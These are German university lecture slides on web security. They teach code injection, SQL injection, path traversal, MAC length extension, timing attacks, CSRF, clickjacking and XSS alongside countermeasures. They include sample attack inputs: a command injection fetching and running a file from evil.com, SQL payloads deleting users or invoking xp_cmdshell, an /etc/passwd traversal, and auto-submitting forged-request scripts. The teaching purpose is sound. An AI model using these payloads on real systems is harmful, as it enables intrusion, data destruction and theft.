Netzwerksicherheit Teil 8: Websicherheit Philipp Hagemeister Sommersemester 2017 Heinrich-Heine-Universität Düsseldorf Netzwerksicherheit — Websicherheit 1 Websicherheit? Bisher betrachtet haben wir hauptsächlich Sicherheitsprobleme (und -lösungen) auf System- (Buffer Overflows,. . . ) oder Protokollebene (Firewalls,. . . ) Jetzt: Einige spezifische Sicherheitsprobleme im World Wide Web (also auf Anwendungsebene) Treten auch außerhalb des Webs auf [MITRE Corporation: 2010 CWE/SANS Top 25 Most Dangerous Software Errors, http://cwe.mitre.org/top25] Netzwerksicherheit — Websicherheit 2 Serverseitige Schwachstellen Buffer Overflows auch in Web-Servern möglich! Webprogrammierung in High-Level-Sprachen schließt auch keine Schwachstellen aus! Ggf. sogar neue Probleme, z.B. <?php $pwh = (’0e2575087832455124813216979257516947151942’ . ’7249399238326158181296’); if (hash(’sha256’, $_SERVER[’PHP_AUTH_PW’]) != $pwh) { die("Access denied"); } ... Wo ist hier die Schwachstelle? (abgesehen von Verwendung von rohem SHA2 für Passwörter) Netzwerksicherheit — Websicherheit 3 Serverseitige Schwachstellen Buffer Overflows auch in Web-Servern möglich! Webprogrammierung in High-Level-Sprachen schließt auch keine Schwachstellen aus! Ggf. sogar neue Probleme, z.B. <?php $pwh = (’0e2575087832455124813216979257516947151942’ . ’7249399238326158181296’); if (hash(’sha256’, $_SERVER[’PHP_AUTH_PW’]) != $pwh) { die("Access denied"); } ... Wo ist hier die Schwachstelle? (abgesehen von Verwendung von rohem SHA2 für Passwörter) Achtung vor Auto-Casting: In php ’0e123456’ == ’0e123457’ numerisch evaluiert! Stattdessen: Vergleich mit ===, um Strings zu vergleichen Netzwerksicherheit — Websicherheit 3 Code Injection import os # Python os.system(’echo "’ + eingabe + ’" | sha256sum’) Was ist hier falsch? Netzwerksicherheit — Websicherheit 4 Code Injection import os # Python os.system(’echo "’ + eingabe + ’" | sha256sum’) Was ist hier falsch? Was kann ein Angreifer hier als Eingabe einschleusen? Netzwerksicherheit — Websicherheit 4 Code Injection import os # Python os.system(’echo "’ + eingabe + ’" | sha256sum’) Was ist hier falsch? Was kann ein Angreifer hier als Eingabe einschleusen? Eingabe: "; wget https://evil.com/file; ./file; echo "foo Netzwerksicherheit — Websicherheit 4 Code Injection import os # Python os.system(’echo "’ + eingabe + ’" | sha256sum’) Was ist hier falsch? Was kann ein Angreifer hier als Eingabe einschleusen? Eingabe: "; wget https://evil.com/file; ./file; echo "foo Ausgeführt wird: os.system(’echo " "; wget https://evil.com/file; ./file; echo "foo " | sha256sum’) Netzwerksicherheit — Websicherheit 4 Verteidigung gegen Code Injection Was können wir gegen Code Injection tun? Netzwerksicherheit — Websicherheit 5 Verteidigung gegen Code Injection Was können wir gegen Code Injection tun? Keine Benutzereingaben zulassen Netzwerksicherheit — Websicherheit 5 Verteidigung gegen Code Injection Was können wir gegen Code Injection tun? Keine Benutzereingaben zulassen API statt Kommandozeile verwenden print(hashlib.sha256(eingabe.encode(’utf-8’)).hexdigest())) Netzwerksicherheit — Websicherheit 5 Verteidigung gegen Code Injection Was können wir gegen Code Injection tun? Keine Benutzereingaben zulassen API statt Kommandozeile verwenden print(hashlib.sha256(eingabe.encode(’utf-8’)).hexdigest())) Eingaben säubern (schwierig, insbesondere wegen Internationalisierung) eingabe_safe = re.sub(r’[ˆa-z0-9A-Z]’, ’_’, eingabe) Netzwerksicherheit — Websicherheit 5 Verteidigung gegen Code Injection Was können wir gegen Code Injection tun? Keine Benutzereingaben zulassen API statt Kommandozeile verwenden print(hashlib.sha256(eingabe.encode(’utf-8’)).hexdigest())) Eingaben säubern (schwierig, insbesondere wegen Internationalisierung) eingabe_safe = re.sub(r’[ˆa-z0-9A-Z]’, ’_’, eingabe) Eingaben enkodieren (auch: escape/quote) eingabe_safe = shlex.quote(eingabe) Netzwerksicherheit — Websicherheit 5 Verteidigung gegen Code Injection Was können wir gegen Code Injection tun? Keine Benutzereingaben zulassen API statt Kommandozeile verwenden print(hashlib.sha256(eingabe.encode(’utf-8’)).hexdigest())) Eingaben säubern (schwierig, insbesondere wegen Internationalisierung) eingabe_safe = re.sub(r’[ˆa-z0-9A-Z]’, ’_’, eingabe) Eingaben enkodieren (auch: escape/quote) eingabe_safe = shlex.quote(eingabe) Strukturierte Kommandozeilen-API verwenden subprocess.call([’echo’, eingabe], ..) Netzwerksicherheit — Websicherheit 5 Verteidigung gegen Code Injection Was können wir gegen Code Injection tun? Keine Benutzereingaben zulassen API statt Kommandozeile verwenden print(hashlib.sha256(eingabe.encode(’utf-8’)).hexdigest())) Eingaben säubern (schwierig, insbesondere wegen Internationalisierung) eingabe_safe = re.sub(r’[ˆa-z0-9A-Z]’, ’_’, eingabe) Eingaben enkodieren (auch: escape/quote) eingabe_safe = shlex.quote(eingabe) Strukturierte Kommandozeilen-API verwenden subprocess.call([’echo’, eingabe], ..) Aufrufe von system, exec, etc. genau anschauen Netzwerksicherheit — Websicherheit 5 Spaß mit SQL-Statements Wieder mal ein Codebeispiel (diesmal in C#): /* userName = angemeldeter Benutzer */ /* itemName = vom Benutzer gelesener Wert */ string query = "SELECT * FROM items WHERE owner = ’" + userName + "’ AND itemname = ’" + itemName + "’"; sda = new SqlDataAdapter(query, conn); DataTable dt = new DataTable(); sda.Fill(dt); ... Wir sind angemeldeter Benutzer und möchten „fremde“ Items sehen. Wie könnten wir das anstellen? Netzwerksicherheit — Websicherheit 6 SQL Injection Der Entwickler wollte SQL-Statements zusammenbauen, die folgendermaßen aussehen: SELECT * FROM items WHERE owner=’userName’ AND itemname=’itemName’; Den Wert von userName kann ich nicht beeinflussen – itemName kann ich aber frei wählen. Netzwerksicherheit — Websicherheit 7 SQL Injection Der Entwickler wollte SQL-Statements zusammenbauen, die folgendermaßen aussehen: SELECT * FROM items WHERE owner=’userName’ AND itemname=’itemName’; Den Wert von userName kann ich nicht beeinflussen – itemName kann ich aber frei wählen. Angenommen ich wähle: userName = philipp itemName = name’ OR ’a’=’a Dann erhalten wir folgende SQL-Anfrage: SELECT * FROM items WHERE owner=’philipp’ AND itemname=’ name’ OR ’a’=’a ’; Netzwerksicherheit — Websicherheit 7 SQL Injection Der Entwickler wollte SQL-Statements zusammenbauen, die folgendermaßen aussehen: SELECT * FROM items WHERE owner=’userName’ AND itemname=’itemName’; Den Wert von userName kann ich nicht beeinflussen – itemName kann ich aber frei wählen. Angenommen ich wähle: userName = philipp itemName = name’ OR ’a’=’a Dann erhalten wir folgende SQL-Anfrage: SELECT * FROM items WHERE owner=’philipp’ AND itemname=’ name’ OR ’a’=’a ’; Jetzt werden alle Einträge der Tabelle ausgegeben, denn der Test (. . . OR ’a’=’a’) ist immer wahr! Netzwerksicherheit — Websicherheit 7 SQL Injection Viele Datenbankserver unterstützen Anfragen mit mehreren durch Semikolon getrennten SQL-Statements. Setzen wir doch einmal itemName = name’; DELETE FROM users WHERE ’a’=’a Dann erhalten wir insgesamt folgende Anfrage: SELECT * FROM items WHERE owner=’philipp’ AND itemname=’ name’; DELETE FROM users WHERE ’a’=’a ’; Netzwerksicherheit — Websicherheit 8 SQL Injection Viele Datenbankserver unterstützen Anfragen mit mehreren durch Semikolon getrennten SQL-Statements. Setzen wir doch einmal itemName = name’; DELETE FROM users WHERE ’a’=’a Dann erhalten wir insgesamt folgende Anfrage: SELECT * FROM items WHERE owner=’philipp’ AND itemname=’ name’; DELETE FROM users WHERE ’a’=’a ’; Ups. Netzwerksicherheit — Websicherheit 8 SQL Injection Angenommen eine Anfrage für einen Microsoft SQL Server sieht so aus: SELECT item,price FROM product WHERE category=’$user_input’ ORDER BY price Netzwerksicherheit — Websicherheit 9 SQL Injection Angenommen eine Anfrage für einen Microsoft SQL Server sieht so aus: SELECT item,price FROM product WHERE category=’$user_input’ ORDER BY price MS SQL erlaubt (wie einige andere Datenbankserver) das Ausführen von Shell-Kommandos in SQL-Statements. Zum Beispiel mit: $user_input = ’ exec master..xp_cmdshell ’dir’ -- Netzwerksicherheit — Websicherheit 9 SQL Injection Angenommen eine Anfrage für einen Microsoft SQL Server sieht so aus: SELECT item,price FROM product WHERE category=’$user_input’ ORDER BY price MS SQL erlaubt (wie einige andere Datenbankserver) das Ausführen von Shell-Kommandos in SQL-Statements. Zum Beispiel mit: $user_input = ’ exec master..xp_cmdshell ’dir’ -- Dann erhalten wir: SELECT item,price FROM product WHERE category=’ ’ exec master..xp_cmdshell ’dir’ -- ’ ORDER BY price Netzwerksicherheit — Websicherheit ← nutzloses SELECT ← böse ← MS-SQL-Kommentar 9 SQL Injection – Ursachen, Gegenmaßnahmen Die „Wurzel“ von SQL-Injection-Verwundbarkeiten ist, dass zuvor von außen entgegengenommene Daten unverändert in ein SQL-Statement übernommen werden. . . . . . ohne zu überprüfen, ob sie SQL-Steuerzeichen enthalten! Netzwerksicherheit — Websicherheit 10 SQL Injection – Ursachen, Gegenmaßnahmen Die „Wurzel“ von SQL-Injection-Verwundbarkeiten ist, dass zuvor von außen entgegengenommene Daten unverändert in ein SQL-Statement übernommen werden. . . . . . ohne zu überprüfen, ob sie SQL-Steuerzeichen enthalten! Was kann man dagegen tun? Netzwerksicherheit — Websicherheit 10 SQL Injection – Ursachen, Gegenmaßnahmen Die „Wurzel“ von SQL-Injection-Verwundbarkeiten ist, dass zuvor von außen entgegengenommene Daten unverändert in ein SQL-Statement übernommen werden. . . . . . ohne zu überprüfen, ob sie SQL-Steuerzeichen enthalten! Was kann man dagegen tun? Vertraue keinen von außen gelesenen Daten! Bei Benutzereingaben immer überprüfen, ob sie nur gültige Zeichen enthalten In SQL-Statements eingefügte Zeichenketten immer richtig codieren (nicht SELECT, DROP, . . . ausfiltern) Parametrisierte SQL-Statements verwenden (alle veränderlichen Bestandteile werden dabei als separate Parameter übergeben) Viele Bibliotheken und Frameworks unterstützen das! Netzwerksicherheit — Websicherheit 10 Prepared Statements Falsch: String sql = "SELECT * FROM items " + "WHERE itemName=’" + itemName + "’"; Statement s = createStatement(); ResultSet rs = s.executeQuery(sql); Netzwerksicherheit — Websicherheit 11 Prepared Statements Falsch: String sql = "SELECT * FROM items " + "WHERE itemName=’" + itemName + "’"; Statement s = createStatement(); ResultSet rs = s.executeQuery(sql); Korrekt: String sql = "SELECT * FROM items " + "WHERE itemName=?"; PreparedStatement s = conn.prepareStatement(sql); s.setString(1, itemName); ResultSet rs = s.executeQuery(sql); Netzwerksicherheit — Websicherheit 11 ORMs ORMs wie ActiveRecord/Propel/Django/EJB/hibernate/SQLAlchemy vermeiden das Problem Kein SQL ⇒ keine SQL Injection! Netzwerksicherheit — Websicherheit 12 ORMs ORMs wie ActiveRecord/Propel/Django/EJB/hibernate/SQLAlchemy vermeiden das Problem Kein SQL ⇒ keine SQL Injection! Aber Achtung: SQL-ähnliche Sprachen (z.B. HQL, LINQ) haben das gleiche Problem! Netzwerksicherheit — Websicherheit 12 Manipulation von Pfadangaben Angenommen eine Social-Network-Plattform speichert Benutzerprofile in Dateien Alle diese Dateien liegen in /users/cwe/profiles Der Code zum Ausgeben des Profils für einen Benutzer sieht so aus (diesmal in Perl): my $dataPath = "/users/cwe/profiles"; my $username = param("user"); my $profilePath = $dataPath . "/" . $username; open(my $fh, "<$profilePath") || ExitError("profile error"); print "<ul>\n"; while (<$fh>) { print "<li>$_</li>\n"; } print "</ul>\n"; Netzwerksicherheit — Websicherheit 13 Manipulation von Pfadangaben Angenommen eine Social-Network-Plattform speichert Benutzerprofile in Dateien Alle diese Dateien liegen in /users/cwe/profiles Der Code zum Ausgeben des Profils für einen Benutzer sieht so aus (diesmal in Perl): my $dataPath = "/users/cwe/profiles"; my $username = param("user"); my $profilePath = $dataPath . "/" . $username; open(my $fh, "<$profilePath") || ExitError("profile error"); print "<ul>\n"; while (<$fh>) { print "<li>$_</li>\n"; } print "</ul>\n"; Wenn wir irgendeine Datei woanders im Dateisystem lesen wollen – wie können wir das erreichen? Netzwerksicherheit — Websicherheit 13 Path Traversal Wir könnten als Benutzernamen z. B. folgendes übergeben: ../../../etc/passwd Das Programm würde daraus den folgenden Datei-Pfad zusammenbauen: /users/cwe/profiles/../../../etc/passwd Das Betriebssystem würde daraus folgendes machen: /etc/passwd Netzwerksicherheit — Websicherheit 14 Path Traversal Wir könnten als Benutzernamen z. B. folgendes übergeben: ../../../etc/passwd Das Programm würde daraus den folgenden Datei-Pfad zusammenbauen: /users/cwe/profiles/../../../etc/passwd Das Betriebssystem würde daraus folgendes machen: /etc/passwd Ups. Netzwerksicherheit — Websicherheit 14 Path Traversal – Ursachen, Gegenmaßnahmen Die „Wurzel“ von Path-Traversal-Verwundbarkeiten ist, dass zuvor von außen entgegengenommene Daten unverändert in einen Dateinamen übernommen werden. . . . . . ohne zu überprüfen, ob sie Steuerzeichen enthalten! Netzwerksicherheit — Websicherheit 15 Path Traversal – Ursachen, Gegenmaßnahmen Die „Wurzel“ von Path-Traversal-Verwundbarkeiten ist, dass zuvor von außen entgegengenommene Daten unverändert in einen Dateinamen übernommen werden. . . . . . ohne zu überprüfen, ob sie Steuerzeichen enthalten! Was kann man dagegen tun? Netzwerksicherheit — Websicherheit 15 Path Traversal – Ursachen, Gegenmaßnahmen Die „Wurzel“ von Path-Traversal-Verwundbarkeiten ist, dass zuvor von außen entgegengenommene Daten unverändert in einen Dateinamen übernommen werden. . . . . . ohne zu überprüfen, ob sie Steuerzeichen enthalten! Was kann man dagegen tun? Vertraue keinen von außen gelesenen Daten! Bei Benutzereingaben immer überprüfen, ob sie nur gültige Zeichen enthalten (whitelist!) Filter mit basename o.ä. ... Netzwerksicherheit — Websicherheit 15 Authentifizierung (nicht nur) im Web Problem: HTTP ist statuslos, aber wir wollen Benutzer-Identität speichern Login bei jeder Aktion ist benutzerunfreundlich Was halten Sie davon? Netzwerksicherheit — Websicherheit 16 Passwort im Cookie: Bewertung Was halten Sie davon? Andauernde Übertragung ist unsicher Überprüfung ist langsam (→ hash stretching) Netzwerksicherheit — Websicherheit 17 Authentifizierung mit Session-IDs Idee: Generiere zufällige ID Speichere Assoziation (ID → Benutzer) in Datenbank Was halten Sie davon? Netzwerksicherheit — Websicherheit 18 Authentifizierung mit Session-IDs: Probleme Sicherheit: Gegeben (wenn ID hinreichend zufällig) Problem: Jetzt brauchen wir eine Datenbank! .. und müssen für jeden Login einen Eintrag einfügen! Kein Problem bei einem einzelnen System, skaliert aber nicht Netzwerksicherheit — Websicherheit 19 Authentifizierung mit Public Key Cryptography Verwende digitale Signaturen! Probleme: Langsam, Denial of Service leicht möglich Netzwerksicherheit — Websicherheit 20 Authentifizierung mit Message Authentication Codes Darum: Verwende einfach hash über Geheimnis und die Nachricht! Schnell und sicher! Netzwerksicherheit — Websicherheit 21 Attacken auf MACs Beispielimplementierung: def getUser(secret, input_user, input_mac): if sha256(secret + input_user) == input_mac: return input_user else: return invalid Ist das sicher? Netzwerksicherheit — Websicherheit 22 Attacken auf MACs Beispielimplementierung: def getUser(secret, input_user, input_mac): if sha256(secret + input_user) == input_mac: return input_user else: return invalid Ist das sicher? Sieht auf den ersten Blick richtig aus! Der Teufel steckt im Detail Netzwerksicherheit — Websicherheit 22 Ex-Kurs: Konstruktion von Hashes Die meisten Hashfunktionen arbeiten blockweise Start mit wohldefinierten Werten Zustand nach dem letztem Block ist Ausgabe Netzwerksicherheit — Websicherheit 23 Ex-Kurs: Padding Wenn die Länge der Nachricht kein Vielfaches von 64 Byte ist, brauchen wir Füllbytes (padding) Außerdem die Länge der Originalnachricht Warum nicht einfach Nullen als Füllbytes? Netzwerksicherheit — Websicherheit 24 Ex-Kurs: Padding Wenn die Länge der Nachricht kein Vielfaches von 64 Byte ist, brauchen wir Füllbytes (padding) Außerdem die Länge der Originalnachricht Warum nicht einfach Nullen als Füllbytes? Ohne Länge gäbe es Kollisionen! (da sonst SHA2-256(AB CD) == SHA2-256(AB CD 00)) Außerdem könnte Initialvektor als SHA2-256(inject) gewählt werden (dann wäre SHA2-256(AB CD) == SHA2-256(inject AB CD) ) Bei SHA2-256: 1 2 3 Ein Byte 0x80 n 0x00-Bytes, so dass (Länge + 1 + 8 + n) mod 64 = 0 Länge der Nachricht in Bit (8 Bytes, 64 bit big-endian) Netzwerksicherheit — Websicherheit 24 Length Extension Attack 1 2 Fordere irgendeine valide Nachricht (z.B. user=alice) an. Damit erhalten wir den Hash der Nachricht = interner Zustand nach Padding 3 4 Angriff: Füge Padding zur Eingabe hinzu! Und füge danach beliebige weitere Informationen hinzu Z.B. &user=admin 5 Berechne dann den finalen Hash von der letzten Zwischenausgabe Netzwerksicherheit — Websicherheit 25 Length Extension Attack: Konstruktion Netzwerksicherheit — Websicherheit 26 Length Extension Attack Fix: Verwende HMAC-Schema MAC wird dann berechnet als MAC = Hash(Key + Hash(Key + Message)) Damit wird der interne Zustand nicht mehr preisgegeben def getUser(secret, input_user, input_mac): if hmac(secret, input_user) == input_mac: return input_user else: return invalid Ist das jetzt sicher? Netzwerksicherheit — Websicherheit 27 Timing Attacks def getUser(secret, input_user, input_mac): if hmac(secret, input_user) == input_mac: return input_user else: return invalid Achtung: Laufzeit von Stringvergleich hängt davon ab, welches Zeichen unterschiedlich ist! Mit sehr genauem Timing kann man herausfinden, ab welchem Zeichen der angegebene Hash falsch ist Das erlaubt lineare Suche nach dem richtigen MAC Eine typische Seitenkanalattacke! Abhilfe: Immer alle Zeichen vergleichen Fazit: Vorsicht beim Einsatz von Kryptographie! Bestehende Funktionen verwenden! Netzwerksicherheit — Websicherheit 28 Beispiel: Bank Was ist in folgendem Code einer Bank falsch? private static void payout( Connection con, int user, int amount) { Statement s = conn.prepareStatement( "SELECT balance FROM accounts WHERE user=?"); s.setInt(1, user); ResultSet rs = s.executeQuery(); int balance = rs.next().getInt("balance"); balance -= amount; Statement s = conn.prepareStatement( "UPDATE account SET balance=? WHERE user=?"); s.setInt(1, balance); s.setInt(2, user); s.executeQuery(); } Netzwerksicherheit — Websicherheit 29 Race Conditions Angriff: Hebe 2x100C gleichzeitig ab. 1 2 3 4 Prozess 1 liest aktuellen Kontostand 1234 Prozess 2 liest aktuellen Kontostand 1234 Prozess 1 schreibt neuen Kontostand 1134 Prozess 2 schreibt neuen Kontostand 1134 Netzwerksicherheit — Websicherheit 30 Race Conditions Angriff: Hebe 2x100C gleichzeitig ab. 1 2 3 4 Prozess 1 liest aktuellen Kontostand 1234 Prozess 2 liest aktuellen Kontostand 1234 Prozess 1 schreibt neuen Kontostand 1134 Prozess 2 schreibt neuen Kontostand 1134 Wie kann man Race Conditions vermeiden? Netzwerksicherheit — Websicherheit 30 Race Conditions Angriff: Hebe 2x100C gleichzeitig ab. 1 2 3 4 Prozess 1 liest aktuellen Kontostand 1234 Prozess 2 liest aktuellen Kontostand 1234 Prozess 1 schreibt neuen Kontostand 1134 Prozess 2 schreibt neuen Kontostand 1134 Wie kann man Race Conditions vermeiden? Explizite Synchronisierung Atomare Updates Transaktionen Netzwerksicherheit — Websicherheit 30 Logikfehler Netzwerksicherheit — Websicherheit 31 Logikfehler Logikfehler lauern überall! Netzwerksicherheit — Websicherheit 31 Logikfehler Logikfehler lauern überall! Der Intel AMT-Webserver überprüft das Passwort mit bool check_password (char* correct, char* input) { return memcmp(correct, input, strlen(input)) == 0; } Netzwerksicherheit — Websicherheit 31 Logikfehler Logikfehler lauern überall! Der Intel AMT-Webserver überprüft das Passwort mit bool check_password (char* correct, char* input) { return memcmp(correct, input, strlen(input)) == 0; } Password "" (leerer String) genügt! Netzwerksicherheit — Websicherheit 31 Logikfehler Logikfehler lauern überall! Der Intel AMT-Webserver überprüft das Passwort mit bool check_password (char* correct, char* input) { return memcmp(correct, input, strlen(input)) == 0; } Password "" (leerer String) genügt! Telekom-Hotspots erlauben URLs mit folgendem regulären Ausdruck auch ohne Login: https?://www.hotspot.de/.* Netzwerksicherheit — Websicherheit 31 Logikfehler Logikfehler lauern überall! Der Intel AMT-Webserver überprüft das Passwort mit bool check_password (char* correct, char* input) { return memcmp(correct, input, strlen(input)) == 0; } Password "" (leerer String) genügt! Telekom-Hotspots erlauben URLs mit folgendem regulären Ausdruck auch ohne Login: https?://www.hotspot.de/.* Also auch https://wwwXhotspot.de/ ... Netzwerksicherheit — Websicherheit 31 Angriffsszenario Idee: Wir greifen gar nicht direkt den Server an! Stattdessen: Benutzer auf unsere Seite evil.com locken Wie können wir den Benutzer dazu bringen evil.com zu besuchen? Netzwerksicherheit — Websicherheit 32 Angriffsvorbereitung Wie können wir den Benutzer dazu bringen evil.com zu besuchen? Phishing-E-Mail Netzwerksicherheit — Websicherheit 33 Angriffsvorbereitung Wie können wir den Benutzer dazu bringen evil.com zu besuchen? Phishing-E-Mail Links zu evil.com in Wikipedia etc. einschleusen Netzwerksicherheit — Websicherheit 33 Angriffsvorbereitung Wie können wir den Benutzer dazu bringen evil.com zu besuchen? Phishing-E-Mail Links zu evil.com in Wikipedia etc. einschleusen Irgendeine Webseite hacken! Netzwerksicherheit — Websicherheit 33 Angriffsvorbereitung Wie können wir den Benutzer dazu bringen evil.com zu besuchen? Phishing-E-Mail Links zu evil.com in Wikipedia etc. einschleusen Irgendeine Webseite hacken! Noch besser: Werbenetzwerk hacken! Netzwerksicherheit — Websicherheit 33 Angriffsvorbereitung Wie können wir den Benutzer dazu bringen evil.com zu besuchen? Phishing-E-Mail Links zu evil.com in Wikipedia etc. einschleusen Irgendeine Webseite hacken! Noch besser: Werbenetzwerk hacken! Netzwerksicherheit — Websicherheit 33 Ex-Kurs: HTTP und HTML („Web”) Sonderzeichen werden durch entity references dargestellt z. B. &lt;, &#60; oder &#x3c; für das Kleiner-Zeichen <. Netzwerksicherheit — Websicherheit 34 Formulare <form method="GET" action="http://example.net/send"> <input type="text" name="message" value="Hello, World" /> <input type="submit" value="Send" /> </form> ⇒ Browser sendet ... GET /send?message=Hello%2C+World HTTP/1.1 Host: example.net Netzwerksicherheit — Websicherheit 35 Formulare <form method="GET" action="http://example.net/send"> <input type="text" name="message" value="Hello, World" /> <input type="submit" value="Send" /> </form> ⇒ Browser sendet ... GET /send?message=Hello%2C+World HTTP/1.1 Host: example.net Wie kann ein Angreifer das ausnutzen? Netzwerksicherheit — Websicherheit 35 Angriffsszenario gegen GET-Formulare Angreifer lässt Benutzer eine bestimmte URL abrufen Z. B. durch Werbebanner, HTML-E-Mail, URL Shortener, Spam, social engineering, . . . Netzwerksicherheit — Websicherheit 36 Cross-Site Request Forgery (CSRF) GET-Anfrage verändert Daten mit den Rechten des Benutzers (wenn der eingeloggt/IP zugelassen ist) Nachricht im Namen des Benutzers senden Mit Rechten des Benutzers Inhalte hinzufügen, ändern, oder löschen ... Netzwerksicherheit — Websicherheit 37 Cross-Site Request Forgery (CSRF) GET-Anfrage verändert Daten mit den Rechten des Benutzers (wenn der eingeloggt/IP zugelassen ist) Nachricht im Namen des Benutzers senden Mit Rechten des Benutzers Inhalte hinzufügen, ändern, oder löschen ... Wie lösen wir das Problem? Netzwerksicherheit — Websicherheit 37 Cross-Site Request Forgery (CSRF) GET-Anfrage verändert Daten mit den Rechten des Benutzers (wenn der eingeloggt/IP zugelassen ist) Nachricht im Namen des Benutzers senden Mit Rechten des Benutzers Inhalte hinzufügen, ändern, oder löschen ... Wie lösen wir das Problem? GET-Anfragen dürfen keine Daten verändern! HTTP-Standard: „(...) GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. ” Netzwerksicherheit — Websicherheit 37 Cross-Site Request Forgery (CSRF) – POST Verwende POST für datenverändernde Anfragen: <form method="POST" action="http://example.net/send"> <input type="text" name="message" value="Hello, World"/> <input type="submit" value="Send" /> </form> Problem gelöst? Netzwerksicherheit — Websicherheit 38 Cross-Site Request Forgery mit JavaScript <form action="http://vulnerable.net/send" method="POST"> <input type="hidden" name="message" value="Hello, hack" /> </form> <script type="text/javascript"> window.onload = function() { document.getElementsByTagName("form")[0].submit(); } </script> Und was machen wir jetzt? Netzwerksicherheit — Websicherheit 39 CSRF – Gegenmaßnahmen Das Formular dynamisch erzeugen und eine eindeutige benutzerabhängige Nonce als unsichtbares Feld einbetten typischerweise: die Cookie-ID des Benutzers zusätzlich in das Formular übernehmen ein Zugriff wird nur dann akzeptiert, wenn die Cookie-ID im Formular gleich dem im POST-Request übermittelten Cookie ist der Angreifer kann beliebige Daten ins Formular schreiben, kennt aber den Cookie nicht Bei „kritischen“ Operationen zusätzliche Bestätigung vom Benutzer verlangen Es gibt Bibliotheken, die das unterstützen! [Zeller, Felten: Cross-Site Request Forgeries: Exploitation and Prevention, 2008] Netzwerksicherheit — Websicherheit 40 HTML-Exkurs (2): Frames HTML erlaubt das Einbinden anderer Seiten in die aktuelle mit <iframe> Anwendungsfälle: Toolbar bei Bildersuche oder Übersetzungsdienst Anfragen im Hintergrund, z. B. für Update ohne Neuladen der Seite (historisch) Navigation in einem Frame, Inhalt in einem anderem (historisch) Mit JavaScript kann der Inhalt des Frames eingesehen und verändert werden Netzwerksicherheit — Websicherheit 41 HTML-Exkurs (2): Frames HTML erlaubt das Einbinden anderer Seiten in die aktuelle mit <iframe> Anwendungsfälle: Toolbar bei Bildersuche oder Übersetzungsdienst Anfragen im Hintergrund, z. B. für Update ohne Neuladen der Seite (historisch) Navigation in einem Frame, Inhalt in einem anderem (historisch) Mit JavaScript kann der Inhalt des Frames eingesehen und verändert werden Wie kann ein Angreifer das ausnutzen? Netzwerksicherheit — Websicherheit 41 Inter-Frame-Angriffe <iframe src="http://example.bank.com/transfer" /> <script type="text/javascript"> window.onload = function() { var frame=document.getElementsByTagName ("iframe")[0]; var doc = frame.contentDocument; doc.getElementById("to").value = "evil.com"; doc.getElementById("amount").value = "6.66 $"; doc.getElementById("form").submit(); } </script> Netzwerksicherheit — Websicherheit 42 Inter-Frame-Angriffe: Analyse Verteidigungsmaßnahmen gegen Cross-Site Request Forgery sind wirkungslos! Wenn nur ein Klick genügt, dann müssen wir den Frame-Inhalt nicht einmal verändern Vor Klick-Auslösung den Frame mit JavaScript geschickt positionieren („Clickjacking“) Rendern innerhalb eines Frames kann verhindert werden Mit JavaScript „Framebusting“-Code (kompliziert) HTTP-Header X-Frame-Options HTTP-Header Content-Security-Policy [Rydstedt, Bursztein, Boneh, Jackson: Busting Frame Busting] [Mozilla DN: Introducing Content Security Policy, https://developer.mozilla. org/en/Security/CSP/Introducing_Content_Security_Policy] Netzwerksicherheit — Websicherheit 43 Die Same-Origin Policy Die Same-Origin Policy verbietet Interaktion zwischen Inhalten von verschiedenen Domains („origins“) Jedes HTML-Dokument, Bild, . . . bekommt einen Origin (Schema, Host, Port) zugeordnet JavaScript-Zugriff auf Inhalt mit anderem Origin löst eine Exception aus Beschränkt nicht nur Frames, sondern auch andere Interaktionsmöglichkeiten (XHR, canvas, . . . ) Seit Netscape 2 in jedem Browser Seiten können Same-Origin-Beschränkungen explizit abschwächen (Cross-Origin Resource Sharing) Hilft allerdings nicht gegen Clickjacking [HTML5: Origin, http://www.w3.org/TR/html5/origin-0.html] [Cross-Origin Resource Sharing, http://www.w3.org/TR/cors/] Netzwerksicherheit — Websicherheit 44 Same-Origin-Policy: Limitierungen SOP beschränkt JavaScript-Zugriff, nicht jedoch Verwendung Wie kann ein Angreifer das ausnutzen? Netzwerksicherheit — Websicherheit 45 Same-Origin-Policy: Limitierungen SOP beschränkt JavaScript-Zugriff, nicht jedoch Verwendung Wie kann ein Angreifer das ausnutzen? Verwendung von Bildern oder Stylesheets kann immer noch Metadaten verraten, z.B. Bildgröße des eigenen Portraits kann variieren je nach Benutzer Bilder können nur für eingeloggte Benutzer verfügbar sein Ggf. auch mit Scripts möglich! Netzwerksicherheit — Websicherheit 45 Cross-Site Scripting (XSS) Häufig stellen Webseiten Inhalte dar, die vorher von Benutzern übergeben wurden Suchfeld Benutzername nach Login Social Networks Foren Webmail-Oberflächen ... In jedem dieser Beispiele müssen die benutzerdefinierten Inhalte in den HTML-Code eingebettet werden Dafür: Programme/Skripte auf dem Server, die dynamisch die HTML-Seite „zusammenbasteln“ Netzwerksicherheit — Websicherheit 46 Cross-Site Scripting (XSS) Das könnte in einem ganz einfachen Fall z. B. so aussehen (hier in JSP): <% String eid = request.getParameter("eid"); %> <html> ... <body> ... Employee ID: <%= eid %> ... </body> Netzwerksicherheit — Websicherheit 47 Cross-Site Scripting (XSS) Das könnte in einem ganz einfachen Fall z. B. so aussehen (hier in JSP): <% String eid = request.getParameter("eid"); %> <html> ... <body> ... Employee ID: <%= eid %> ... </body> Wie kann ein Angreifer das ausnutzen? Netzwerksicherheit — Websicherheit 47 Cross-Site Scripting (XSS) Angenommen, wir übergeben für den Parameter eid den Wert <h1>Test</h1> Dann sieht die zurückgelieferte HTML-Seite so aus: <html> ... <body> ... Employee ID: <h1>Test</h1> ... </body> Netzwerksicherheit — Websicherheit 48 Cross-Site Scripting (XSS) Statt <h1> wären auch beliebige andere HTML-Tags möglich Also auch Skripte mit <script>! Was ist dann der Origin des eingeschleusten Skripts? Netzwerksicherheit — Websicherheit 49 Cross-Site Scripting (XSS) Statt <h1> wären auch beliebige andere HTML-Tags möglich Also auch Skripte mit <script>! Was ist dann der Origin des eingeschleusten Skripts? Origin ist vulnerable.net, der Browser kann legitimen und eingeschleusten Code nicht unterscheiden Netzwerksicherheit — Websicherheit 49 Stored XSS Manche Webseiten geben Eingaben nicht (nur) zurück, sondern speichern sie (z.B. in einer Datenbank) Anderen Benutzern werden diese Daten dann angezeigt Bei fehlerhafter/ausbleibender Kodierung: „Stored XSS“ Möglich wäre so etwas z. B. bei (schlecht programmierten!) Foren oder Social Networks Netzwerksicherheit — Websicherheit 50 XSS – Ursachen und Gegenmaßnahmen Die „Wurzel“ von XSS-Verwundbarkeiten ist, dass zuvor von außen entgegengenommene Daten unverändert in einen 